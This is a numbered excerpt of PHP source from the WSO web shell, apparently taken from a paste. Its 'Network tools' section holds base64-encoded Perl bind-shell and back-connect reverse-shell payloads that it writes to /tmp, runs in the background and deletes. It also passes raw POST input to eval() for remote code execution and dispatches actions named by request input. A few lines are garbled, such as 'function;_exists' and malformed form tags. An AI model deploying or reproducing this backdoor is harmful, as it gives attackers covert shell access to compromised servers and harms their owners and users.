  1868. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1869. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1870. echo "<h1>Network tools</h1><div class=content>
  1871.  
  1872.  <form name='nfp'  false;">
  1873.  <span>Bind port to /bin/sh [perl]</span><br/>
  1874.  Port: <input type='text' name='port' value='31337'> >
  1875.  </form>
  1876.  <form name='nfp'  false;">
  1877.  <span>Back-connect  [perl]</span><br/>
  1878.  Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> >
  1879.  
  1880.  </form><br>";
  1881. if(isset($_POST['p1'])) {
  1882. function cf($f,$t) {
  1883. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1884. if($w){
  1885. @fwrite($w,@base64_decode($t));
  1886. @fclose($w);
  1887. }
  1888. }
  1889. if($_POST['p1'] == 'bpp') {
  1890. cf("/tmp/bp.pl",$bind_port_p);
  1891. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1892. echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bp.pl")."</pre>";
  1893. unlink("/tmp/bp.pl");
  1894. }
  1895. if($_POST['p1'] == 'bcp') {
  1896. cf("/tmp/bc.pl",$back_connect_p);
  1897. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1898. echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bc.pl")."</pre>";
  1899. unlink("/tmp/bc.pl");
  1900. }
  1901. }
  1902. echo '</div>';
  1903. wsoFooter();
  1904. }
  1905. function actionRC() {
  1906. if(!@$_POST['p1']) {
  1907. $a = array(
  1908. "uname"=>php_uname(),
  1909. "php_version"=>phpversion(),
  1910. "wso_version"=>WSO_VERSION,
  1911. "safemode"=>@ini_get('safe_mode')
  1912. );
  1913. echo serialize($a);
  1914. }else {
  1915. eval($_POST['p1']);
  1916. }
  1917. }
  1918. if( empty($_POST['a']) )
  1919. if(isset($default_action) &&function;_exists('action'.$default_action))
  1920. $_POST['a'] = $default_action;
  1921. else
  1922. $_POST['a'] = 'SecInfo';
  1923. if( !empty($_POST['a']) &&function;_exists('action'.$_POST['a']) )
  1924. call_user_func('action'.$_POST['a']);
  1925. function FetchURL($url) {
  1926. $ch = curl_init();
  1927. curl_setopt($ch,CURLOPT_USERAGENT,"$cheader");
  1928. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  1929. curl_setopt($ch,CURLOPT_HEADER,false);
  1930. curl_setopt($ch,CURLOPT_URL,$url);
  1931. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1932. curl_setopt($ch,CURLOPT_TIMEOUT,30);
  1933. $data = curl_exec($ch);
  1934. if(!$data) {
  1935. return false;
  1936. }
  1937. return $data;
  1938. }
  1939. exit; ?>
  1940.  
  1941.